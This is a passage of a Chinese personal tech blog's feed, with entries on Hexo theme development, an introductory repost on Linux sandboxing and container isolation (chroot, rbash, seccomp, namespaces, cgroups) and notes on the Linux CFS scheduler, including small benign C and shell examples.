class="line">}</span><br></pre></td></tr></table></figure><h2 id="f-补题"><a class="markdownIt-Anchor" href="#f-补题"></a> F 补题</h2>]]></content>
<summary type="html"><p>过 4 题排名 441,比上次月赛难度低,题目对小白非常友好。给出题人点赞,先就补一下 E 题。</p></summary>
<category term="acm" scheme="https://blog.lancelot.top/tags/acm/"/>
</entry>
<entry>
<title>Hexo主题开发</title>
<link href="https://blog.lancelot.top/2024/04/Hexo%E4%B8%BB%E9%A2%98%E5%BC%80%E5%8F%91/"/>
<id>https://blog.lancelot.top/2024/04/Hexo%E4%B8%BB%E9%A2%98%E5%BC%80%E5%8F%91/</id>
<published>2024-04-04T14:24:00.000Z</published>
<updated>2024-04-06T06:38:59.447Z</updated>
<content type="html"><![CDATA[<p>想把 <code>attila</code> 魔改成 hexo 主题</p><p><a href="https://github.com/zutrinken/attila">GitHub - zutrinken/attila: Ghost Theme</a></p><h2 id="hexo"><a class="markdownIt-Anchor" href="#hexo"></a> Hexo</h2><p>模板引擎 EJS<br>Stylus</p><p>基于landscape 修改</p><h2 id="ghost"><a class="markdownIt-Anchor" href="#ghost"></a> Ghost</h2><p>HBS<br>SASS</p><h2 id="参考"><a class="markdownIt-Anchor" href="#参考"></a> 参考</h2><p><a href="https://hexo.io/zh-cn/docs/themes">主题 | Hexo</a></p><p><a href="https://ghost.org/docs/themes/">Ghost Handlebars Themes - Building a custom Ghost theme - Docs</a></p>]]></content>
<summary type="html"><p>想把 <code>attila</code> 魔改成 hexo 主题</p>
<p><a href="https://github.com/zutrinken/attila">GitHub - zutrinken/attila: Ghost Theme</a></p>
<h</summary>
<category term="TODO" scheme="https://blog.lancelot.top/tags/TODO/"/>
</entry>
<entry>
<title>linux中的容器与沙箱初探</title>
<link href="https://blog.lancelot.top/2024/04/linux%E4%B8%AD%E7%9A%84%E5%AE%B9%E5%99%A8%E4%B8%8E%E6%B2%99%E7%AE%B1%E5%88%9D%E6%8E%A2/"/>
<id>https://blog.lancelot.top/2024/04/linux%E4%B8%AD%E7%9A%84%E5%AE%B9%E5%99%A8%E4%B8%8E%E6%B2%99%E7%AE%B1%E5%88%9D%E6%8E%A2/</id>
<published>2024-04-04T06:19:00.000Z</published>
<updated>2024-04-06T10:34:46.232Z</updated>
<content type="html"><![CDATA[<p>1111</p><span id="more"></span><h2 id="linux-中的沙箱技术"><a class="markdownIt-Anchor" href="#linux-中的沙箱技术"></a> Linux 中的沙箱技术</h2><h3 id="文件系统隔离"><a class="markdownIt-Anchor" href="#文件系统隔离"></a> 文件系统隔离</h3><h4 id="chroot-jail"><a class="markdownIt-Anchor" href="#chroot-jail"></a> Chroot jail</h4><p>通常来说,提到 chroot 一般有两个含义,chroot (1) 是/usr/bin/chroot, chroot (2) 是 glibc 中的一个函数。</p><blockquote><p>Chroot (1)<br>Chroot - run command or interactive shell with special root directory<br>Chroot [OPTION] NEWROOT [COMMAND [ARG]…]</p></blockquote><blockquote><p>Chroot (2)<br>Chroot - change root directory<br>Int chroot (const char *path);</p></blockquote><p>Chroot 的主要功能就是改变根目录,如运行 chroot “/home/atum/newroot/” 会启动一个新的 shell,且目录”/home/atum/newroot/”成为该 shell 下的新的根目录”/”。</p><p>chroot 沙箱可以将进程对文件的访问限制在一个指定的目录中,但是由于 chroot 不是一个安全的 feature,所以该沙箱可能会被逃逸出来。关于 chroot 沙箱逃逸的方法<a href="https://github.com/earthquake/chw00t?ref=192.168.1.240">在这里</a></p><h4 id="restricted-bash"><a class="markdownIt-Anchor" href="#restricted-bash"></a> Restricted bash</h4><p>Rbash 的主要作用是限制了部分 bash 命令,其作用之一就是使得 bash 只能执行当前目录下的可执行文件,且不允许改变当前工作目录。</p><blockquote><p>If bash is started with the name rbash, or the -r option is supplied at invocation, the shell becomes restricted. A restricted shell is used to set up an environment more controlled than the standard shell.</p></blockquote><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">atum<span class="variable">@ubuntu</span><span class="symbol">:~</span><span class="variable">$ </span>rbash</span><br><span class="line">atum<span class="variable">@ubuntu</span><span class="symbol">:~</span><span class="variable">$ </span>cd <span class="variable constant_">PWN</span></span><br><span class="line"><span class="symbol">rbash:</span> <span class="symbol">cd:</span> restricted</span><br><span class="line">atum<span class="variable">@ubuntu</span><span class="symbol">:~</span><span class="variable">$ </span>./<span class="variable constant_">PWN</span>/rp++</span><br><span class="line"><span class="symbol">rbash:</span> ./<span class="variable constant_">PWN</span>/rp++: <span class="symbol">restricted:</span> cannot specify <span class="string">`/' in command names</span></span><br><span class="line"><span class="string">atum@ubuntu:~$ export PATH=$PATH:/home/atum/PWN</span></span><br><span class="line"><span class="string">rbash: PATH: readonly variable</span></span><br><span class="line"><span class="string"></span></span><br></pre></td></tr></table></figure><p>Rbash 的绕过方法也有很多,通常跟 chroot 配合使用</p><h3 id="进程监控"><a class="markdownIt-Anchor" href="#进程监控"></a> 进程监控</h3><h4 id="ptrace"><a class="markdownIt-Anchor" href="#ptrace"></a> Ptrace</h4><p>Ptrace 是一个系统调用,tracer 进程可以使用 ptrace 监控和修改 tracee 进程的运行状态,如内存、寄存器的值等。</p><blockquote><p>Long ptrace (enum __ptrace_request request, pid_t pid, void *addr, void *data);</p></blockquote><blockquote><p>The ptrace () system call provides a means by which one process (the “tracer”) may observe and control the execution of another process (the “tracee”), and examine and change the tracee’s memory and registers.</p></blockquote><p>使用 ptrace 可以让某一进程处于受控状态,所以可以用作实现沙箱,如我们可以利用 ptrace 来监控 tracee 使用哪些系统调用,并组织 tracee 使用某些危险的系统调用等。</p><h4 id="seccomp"><a class="markdownIt-Anchor" href="#seccomp"></a> Seccomp</h4><p>Seccomp 是 linux 提供的一种沙箱机制,可以用来限制程序可以使用和不可使用的系统调用</p><blockquote><p>Seccomp (short for secure computing mode) is a computer security facility in the Linux kernel. Seccomp allows a process to make a one-way transition into a “secure” state where it can only make user configured system calls</p></blockquote><p>Seccomp 沙箱主要有两种模式,SECCOMP_SET_MODE_STRICT 只运行调用 4 个系统调用 read (2), write (2), _exit (2), sigreturn (2) 四个系统调用,而 SECCOMP_SET_MODE_FILTER 则允许通过 BPF 指定系统调用的黑名单或者白名单</p><blockquote><p>SECCOMP_SET_MODE_STRICT</p><p>The only system calls that the calling thread is permitted to make are read (2), write (2), _exit (2) (but not exit_group (2)), and sigreturn (2).</p></blockquote><blockquote><p>SECCOMP_SET_MODE_FILTER<br>The system calls allowed are defined by a pointer to a Berkeley Packet Filter (BPF) passed via args.</p></blockquote><p>Seccomp 本身是一种很安全的技术,但是在 SECCOMP_SET_MODE_FILTER 环境下通常会因为 BPF 使用不正确导致沙箱存在被绕过的可能。</p><h2 id="linux-中的容器技术"><a class="markdownIt-Anchor" href="#linux-中的容器技术"></a> Linux 中的容器技术</h2><h3 id="容器"><a class="markdownIt-Anchor" href="#容器"></a> 容器</h3><blockquote><p>Operating-system-level virtualization is a server virtualization method in which the kernel of an operating system allows the existence of multiple isolated user-space instances, instead of just one. Such instances, which are sometimes called containers, software containers</p></blockquote><p>容器的目的是进行<strong>资源隔离</strong>和<strong>控制隔离</strong>。</p><ul><li>资源隔离:隔离计算资源,如 CPU、RAM、DISK 等。</li><li>控制隔离:隔离一些控制结构,如 UID、PID 等</li></ul><h3 id="cgroup-与-namespace"><a class="markdownIt-Anchor" href="#cgroup-与-namespace"></a> <code>Cgroup</code> 与 <code>Namespace</code></h3><p><strong>资源隔离</strong>依赖于 linux 内核的 Cgroup 实现,<strong>控制隔离</strong>依赖于 linux 内核的 namespace</p><blockquote><p>The Linux kernel provides the cgroups functionality that allows limitation and prioritization of resources (CPU, memory, block I/O, network, etc.) without the need for starting any virtual machines, and also namespace isolation functionality that allows complete isolation of an applications’ view of the operating environment, including process trees, networking, user IDs and mounted file systems.</p></blockquote><p>目前比较有名的容器均是基于 Cgroup 和 namespace 实现的:</p><ul><li>LXC:</li></ul><blockquote><p>LXC combines the kernel’s cgroups and support for isolated namespaces to provide an isolated environment for applications</p></blockquote><ul><li>Docker</li></ul><blockquote><p>Docker containers are very similar to LXC containers, and they have similar security features. When you start a container with docker run, behind the scenes Docker creates a set of namespaces and control groups for the container.</p></blockquote><h3 id="使用namespace"><a class="markdownIt-Anchor" href="#使用namespace"></a> 使用<strong>Namespace</strong></h3><p>Linux 中的 namespace 思想上跟 C++里面的差不多,通俗来说把一些全局的东西分割成很多份局部,而且使得处在局部里面的人以为自己是全局。</p><blockquote><p>A namespace wraps a global system resource in an abstraction that makes it appear to the processes within the namespace that they have their own isolated instance of the global resource. Changes to theg lobal resource are visible to other processes that are members of the namespace, but are invisible to other processes. One use of namespaces is to implement containers.</p></blockquote><p>目前最新版的 linuxkernel 支持 7 个命名空间</p><figure class="highlight objectivec"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">Linux provides the following namespaces:</span><br><span class="line"></span><br><span class="line">Namespace Constant Isolates</span><br><span class="line">Cgroup <span class="built_in">CLONE_NEWCGROUP</span> Cgroup root directory</span><br><span class="line">IPC <span class="built_in">CLONE_NEWIPC</span> System V IPC, POSIX message queues</span><br><span class="line">Network <span class="built_in">CLONE_NEWNET</span> Network devices, stacks, ports, etc.</span><br><span class="line">Mount <span class="built_in">CLONE_NEWNS</span> Mount points</span><br><span class="line">PID <span class="built_in">CLONE_NEWPID</span> Process IDs</span><br><span class="line">User <span class="built_in">CLONE_NEWUSER</span> User and group IDs</span><br><span class="line">UTS <span class="built_in">CLONE_NEWUTS</span> Hostname and NIS domain nam</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="命名空间相关的-api-以及用法示例"><a class="markdownIt-Anchor" href="#命名空间相关的-api-以及用法示例"></a> 命名空间相关的 API 以及用法示例:</h4><p><strong>clone</strong>: 创建一个新进程,并且可以根据 flag 创建新的命名空间。新创建的进程是该命名空间的 owner</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">clone</span><span class="params">(<span class="type">int</span> (*fn)(<span class="type">void</span> *), <span class="type">void</span> *child_stack,<span class="type">int</span> flags, <span class="type">void</span> *arg, ...)</span></span><br><span class="line"></span><br><span class="line">Example:</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> _GNU_SOURCE</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><sys/wait.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><sched.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><unistd.h></span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">childFunc</span><span class="params">(<span class="type">char</span> * str)</span>{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s: My pid is %d\n"</span>,str,getpid());</span><br><span class="line">sleep(<span class="number">1000</span>);</span><br><span class="line">}</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> STACK_SIZE (1024 * 1024)</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc,<span class="type">char</span>* argv[])</span>{</span><br><span class="line"><span class="type">void</span> *<span class="built_in">stack</span> = <span class="built_in">malloc</span>(STACK_SIZE);</span><br><span class="line">stackTop = <span class="built_in">stack</span> + STACK_SIZE; </span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"parent: My pid is %d\n"</span>,getpid());</span><br><span class="line"><span class="type">int</span> pid = clone(childFunc, stackTop, CLONE_NEWPID | SIGCHLD, <span class="string">"child"</span>);</span><br><span class="line">wait(<span class="literal">NULL</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"parent: My child pid is %d\n"</span>,pid);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">run it, we get:</span><br><span class="line">parent: My pid is <span class="number">12424</span></span><br><span class="line">child: My pid is <span class="number">0</span></span><br><span class="line">parent: My child pid is <span class="number">12425</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>setns</strong> 让当前进程加入一个已存在的命名空间。命名空间由 fd 指定,命名空间类型由 nstype 指定。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">setns</span><span class="params">(<span class="type">int</span> fd, <span class="type">int</span> nstype)</span>;</span><br><span class="line"></span><br><span class="line">Example:</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> _GNU_SOURCE</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><sys/wait.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><sched.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><unistd.h></span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span>{</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> fd;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"before: my pid is %d"</span>,getpid());</span><br><span class="line">fd = open(<span class="string">"/proc/12425/ns/pid"</span>, O_RDONLY); </span><br><span class="line">setns(fd, CLONE_NEWPID);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"after: my pid is %d"</span>,getpid());</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> run it, we get:</span><br><span class="line"> before: my pid is <span class="number">12426</span></span><br><span class="line"> after: my pid is <span class="number">2</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>unshare</strong> 让当前进程离开当前的命名空间,然后创建并进入一个新的命名空间, 效果跟 clone 差不多,只不过 unshare 不会创建新的进程。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">unshare</span><span class="params">(<span class="type">int</span> flags)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> _GNU_SOURCE</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><sys/wait.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><sched.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><unistd.h></span></span></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span></span>{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"before: my pid is %d"</span>,<span class="built_in">getpid</span>());</span><br><span class="line"><span class="built_in">unshare</span>(CLONE_NEWPID);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"before: my pid is %d"</span>,<span class="built_in">getpid</span>());</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">run it we get:</span><br><span class="line"></span><br><span class="line">before: my pid is <span class="number">12427</span></span><br><span class="line">after: my pid is <span class="number">1</span></span><br></pre></td></tr></table></figure><p>以上案例主要是以 PID NAMESPACE 为例,可以看得出 PID NAMESPACE 可以做到 PID 的隔离,其他 NAMESPACE 的用法类似,如 USER NAMESPACE 可以做到 UID 和 GID 的隔离,MOUNT NAMESPACE 可以做到文件系统的隔离等。</p><p>另外,创建除了 USER NAMESPACE 以外的 NAMESPACE 需要 root 权限,所以通常的做法是首先进入 USER NAMESPACE,这样就可以得到一个当前 USER NAMESPACE 下的 root user,再创建其他的 namespace</p><blockquote><p>A process created via fork (2) or clone (2) without the CLONE_NEWUSER flag is a member of the same user namespace as its parent</p></blockquote><blockquote><p>A call to clone (2) or unshare (2) with the CLONE_NEWUSER flag makes the new child process (for clone (2)) or the caller (for unshare (2)) a member of the new user namespace created by the call</p></blockquote><h3 id="使用cgroup"><a class="markdownIt-Anchor" href="#使用cgroup"></a> 使用<strong>Cgroup</strong></h3><p>Cgroup 用来限制和监控进程对资源的使用</p><blockquote><p>Control cgroups, usually referred to as cgroups, are a Linux kernel feature which allow processes to be organized into hierarchical groups whose usage of various types of resources can then be limited and monitored.</p></blockquote><h4 id="使用-cgroup-限制资源以-cpu-为例"><a class="markdownIt-Anchor" href="#使用-cgroup-限制资源以-cpu-为例"></a> 使用 Cgroup 限制资源(以 CPU 为例)</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">挂载指定cgroup</span><br><span class="line">mount -t cgroup -o cpu,cpuacct none /sys/fs/cgroup/cpu,cpuacct</span><br><span class="line">或者可以挂载所有cgroup</span><br><span class="line">mount -t cgroup -o all cgroup /sys/fs/cgroup</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">查看已挂载的cgroup:</span><br><span class="line"><span class="comment"># ls /sys/fs/cgroup</span></span><br><span class="line">blkio cpu,cpuacct freezer net_cls perf_event</span><br><span class="line">cpu cpuset hugetlb net_cls,net_prio pids</span><br><span class="line">cpuacct devices memory net_prio systemd</span><br><span class="line"></span><br><span class="line">创建一个新的cpu cgroup, 并设置该cgroup的进程最多使用50%的CPU</span><br><span class="line"><span class="comment"># mkdir /sys/fs/cgroup/cpu/cg1</span></span><br><span class="line"><span class="comment"># </span></span><br><span class="line"></span><br><span class="line">运行一个耗时间的脚本</span><br><span class="line"><span class="comment">#!/bin/sh</span></span><br><span class="line">i=0;</span><br><span class="line"><span class="keyword">while</span> <span class="literal">true</span>;</span><br><span class="line"><span class="keyword">do</span> i=<span class="variable">$i</span>+1;</span><br><span class="line"><span class="keyword">done</span>;</span><br><span class="line"></span><br><span class="line">查看CPU的使用</span><br><span class="line"><span class="comment"># top</span></span><br><span class="line"> PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND </span><br><span class="line"> 4145 root 20 0 21404 4544 2776 R 100.0 0.1 0:25.62 bash </span><br><span class="line"> </span><br><span class="line">将当前4145进程加入cgroup </span><br><span class="line"><span class="built_in">echo</span> 4145 > /sys/fs/cgroup/cpu/cg1/tasks</span><br><span class="line"></span><br><span class="line">再次查看CPU的使用</span><br><span class="line"><span class="comment"># top</span></span><br><span class="line"> PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND </span><br><span class="line"> 4145 root 20 0 30576 4696 2136 R 49.5 0.1 0:55.41 bash </span><br></pre></td></tr></table></figure><p>Cgroup 以进程族 (process group) 为单位进行资源的限制,fork 产生的子进程会继承父进程的 cgroup。</p><blockquote><p>A child process created via fork (2) inherits its parent’s cgroup memberships. A process’s cgroup memberships are preserved across execve (2).</p></blockquote><p>另外,我们也可以使用 setrlimit prlimit 等系统调用来以单个用户或者单个进程为单位进行资源的限制,这两套资源限制的机制是独立生效的</p><h2 id="搬运"><a class="markdownIt-Anchor" href="#搬运"></a> 搬运</h2><p><a href="https://atum.li/2017/04/25/linuxsandbox/?ref=192.168.1.240#linux%E4%B8%AD%E7%9A%84%E6%B2%99%E7%AE%B1%E6%8A%80%E6%9C%AF">linux中的容器与沙箱初探 — Atum</a></p>]]></content>
<summary type="html"><p>1111</p></summary>
</entry>
<entry>
<title>Linux CFS 调度器</title>
<link href="https://blog.lancelot.top/2024/04/Linux%20CFS%20%E8%B0%83%E5%BA%A6%E5%99%A8/"/>
<id>https://blog.lancelot.top/2024/04/Linux%20CFS%20%E8%B0%83%E5%BA%A6%E5%99%A8/</id>
<published>2024-04-02T16:00:00.000Z</published>
<updated>2024-04-06T09:31:50.455Z</updated>
<content type="html"><![CDATA[<pre><code>Linux 默认调度器 CFS 相关的一些内容。</code></pre><span id="more"></span><h2 id="概念"><a class="markdownIt-Anchor" href="#概念"></a> 概念</h2><h3 id="cfs"><a class="markdownIt-Anchor" href="#cfs"></a> CFS</h3><p>CFS(Completely Fair Scheduler)是 Linux 内置(也是目前默认)的一个 <code>内核调度器</code>, 如名字所示,它实现了所谓的“完全公平”调度算法,将 CPU 资源均匀地分配给各进程( 在内核代码中称为“任务”,task)。</p><p><img src="/2024/04/Linux%20CFS%20%E8%B0%83%E5%BA%A6%E5%99%A8/image-20240403232634712.png" alt></p><ul><li>两个进程:每个进程会各占 50% CPU 时间;</li><li>四个进程:每个进程会各占 25% CPU 时间;</li></ul><h3 id="支持进程组"><a class="markdownIt-Anchor" href="#支持进程组"></a> 支持进程组</h3><p>进程会组织成进程组(task group)的形式, 用户希望先对进程组分配 CPU 份额,再<strong>在每个进程组里面实现公平调度</strong>。</p><p>比如多用户场景希望对每个用户公平分配 CPU Time</p><p>引入了</p><ul><li>实时任务的组调度(RT group)(SCHED_RT)</li><li>常规进程的组调度(task group)(SCHED_NORMAL)</li></ul><p><code>CONFIG_RT_GROUP_SCHED</code> 支持对 real-time (SCHED_FIFO 先来先服务 and SCHED_RR 时间片轮转) 任务进行分组 CFS。</p><p>实时进程有严格的响应时间限制(Qos 高),要确保这些进程的响应实时性</p><p>除实时进程外就是常规进程,没有严格的响应时间限制, 当系统繁忙时,响应延迟就会增加。支持对普通 CFS (SCHED_NORMAL, SCHED_BATCH) 任务进行分组</p><h3 id="支持-cpu-限额"><a class="markdownIt-Anchor" href="#支持-cpu-限额"></a> 支持 CPU 限额</h3><p>CFS 的一些问题</p><ul><li>CFS 不能做到真正完全公平。如果两个 Task,其中一个 Task有很多 sleep/wait 时间, CFS 就会把多余的时间给到第二个 Task,导致第二个 Task 实际使用的时间超过一半。</li><li>优先级高的进程仍然可能获得更大的时间片,RT 类型任务时,永远比 NORMAL 先执行。优先级可以通过 <code>nice(2)</code> 控制。</li><li>无法设置 CPU 使用上限。CFS <strong>只关注 CPU 平均分配,并不保证 CPU 时间</strong>(上下限)。CPU share/quota 只有相对意义,share 大的一定比 share 小的能分到更多 CPU,仅此而已。CPU 限额对<strong>按 CPU 时间计费</strong>场景很关键,如公有云。</li></ul><p>Google 提出了 <code>CFS CPU 带宽控制</code>(CFS bandwidth control)方案。</p><p>同时,burst 特性:允许借用前一个进程剩下的带宽。</p><h2 id="设计"><a class="markdownIt-Anchor" href="#设计"></a> 设计</h2><blockquote><p><strong>将真实 CPU 建模为一个“理想、精确的多任务 CPU”</strong></p></blockquote><p>内核为每个 CPU 维护了一个可运行进程的队列(runqueue); CFS 有一个可配置的调度周期 <code>sched_latency</code>;接下来的基本调度过程:</p><ul><li>CFS 根据当前可运行进程的数量 N,计算得到每个进程应该执行的时间 sched_latency/N;</li><li>依次取出进程执行以上计算出的时间;</li><li>如果 runqueue 有变化,再重新计算可执行时间。</li></ul><h3 id="vruntime"><a class="markdownIt-Anchor" href="#vruntime"></a> vruntime</h3><p>在真实 CPU 上,任意时间只能运行一个任务;为了实现“公平”,CFS 引入了 “virtual runtime”(虚拟运行时间)的概念。</p><ul><li>vruntime 表示进程真正在 CPU 上执行的时间,不包括任何形式的等待时间;</li><li>机器一般都是多核的,因此 vruntime 是在多个 CPU 上执行时间的累加。</li></ul><h3 id="runqueue"><a class="markdownIt-Anchor" href="#runqueue"></a> runqueue</h3><p>是每个 CPU 上的可运行进程队列,之前就已经存在,并不是 CFS 引入的。</p><h3 id="time-ordered-rbtree"><a class="markdownIt-Anchor" href="#time-ordered-rbtree"></a> time-ordered rbtree</h3><blockquote><p>红黑树,查询复杂度:<code>O(logN)</code> 插入复杂度 <code>O(logN)</code></p></blockquote><p>思想:进程 vruntime 最小,说明累计执行时间最少,从“公平”的角度来说,就需要执行它。<br>CFS 用红黑树来组织这些进程(描述 runqueue),<code>vruntime</code> 为 key,所有 runnable 的进程使用 <code>p->se.vruntime</code> 排序<br>每次取出最左边的进程(红黑树特性),执行完成后插入越来越右边,这样每个任务都有机会成为最左边的节点, 在一段确定是时间内总得得到 CPU 资源。<br>同时维护min vruntime 和 max vruntime<br><code>min vruntime</code> 用于防止进程饥饿:当一个新的进程被创建或一个等待(阻塞)的进程重新回到就绪状态时,其 vruntime 会被设置为当前所有进程中的最小 vruntime 值。</p><p><code>max vruntime</code>用途是避免 vruntime 的数值超出处理范围:由于 vruntime 是不断累加的,理论上它可能会增长到一个极大的值。max vruntime 作为一个上限,可以防止 vruntime 的溢出(overflow)。</p><h2 id="调度策略"><a class="markdownIt-Anchor" href="#调度策略"></a> 调度策略</h2><h3 id="rt"><a class="markdownIt-Anchor" href="#rt"></a> RT</h3><h4 id="sched_fifo"><a class="markdownIt-Anchor" href="#sched_fifo"></a> <code>SCHED_FIFO</code></h4><p>先进先出。</p><p>进程在下面的条件下会放弃 CPU:</p><ol><li>进程在等待,例如 IO 操作。当进程<strong>再回到 ready 状态时</strong>,它会被放到 runqueue 队尾。</li><li>进程通过 <strong><mark><code>sched_yield</code></mark></strong> yield(主动让出) CPU。进程<strong>立即</strong>进入 runqueue 队尾。</li></ol><h4 id="sched_rr"><a class="markdownIt-Anchor" href="#sched_rr"></a> <code>SCHED_RR</code></h4><p>在这种调度策略中,runqueue 中的每个进程轮流获得时间片(quantum)。</p><p>调度策略:影响的是 runqueue 如何工作,每个进程能获得多少执行时间。</p><h3 id="normal"><a class="markdownIt-Anchor" href="#normal"></a> NORMAL</h3><h4 id="sched_normal"><a class="markdownIt-Anchor" href="#sched_normal"></a> <code>SCHED_NORMAL</code></h4><p>历史上叫 <code>SCHED_OTHER</code>,适用于普通任务的调度。</p><h4 id="sched_batch"><a class="markdownIt-Anchor" href="#sched_batch"></a> <code>SCHED_BATCH</code></h4><p>适合批量任务。不像普通任务那样容易被抢占,因此每个任务运行的时间可以更长,缓存效率更高,但交互性变差。</p><h4 id="sched_idle"><a class="markdownIt-Anchor" href="#sched_idle"></a> <code>SCHED_IDLE</code></h4><blockquote><p>这甚至比 nice 19还要弱,但它不是一个真正的空闲计时器调度器,以避免陷入可能导致机器死锁的优先转置问题。</p></blockquote><table><thead><tr><th></th><th>SCHED_RR</th><th>SCHED_NORMAL</th></tr></thead><tbody><tr><td>调度的进程类型</td><td>实时进程</td><td>普通进程</td></tr><tr><td>时间片</td><td>静态,不依赖系统中的进程数量</td><td>动态,根据系统中进程的数量会发生变化</td></tr><tr><td>下一个进程的选择</td><td>从 runqueue 中按 RR 选下一个</td><td>从红黑树中选 vruntime 最小的一个</td></tr></tbody></table><h2 id="cpu-配额"><a class="markdownIt-Anchor" href="#cpu-配额"></a> CPU 配额</h2><p>给 cpu cgroup 引入了两个新配置项:</p><ul><li><strong><mark><code>cpu.cfs_period_us</code></mark></strong>: 周期(period),每个周期单独计算,周期结束之后状态(quota 等)清零;默认 100ms</li><li><strong><mark><code>cpu.cfs_quota_us</code></mark></strong>: 在一个周期里的份额(quota),默认 5ms。<br>最大 1s,最小 1ms: <figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span 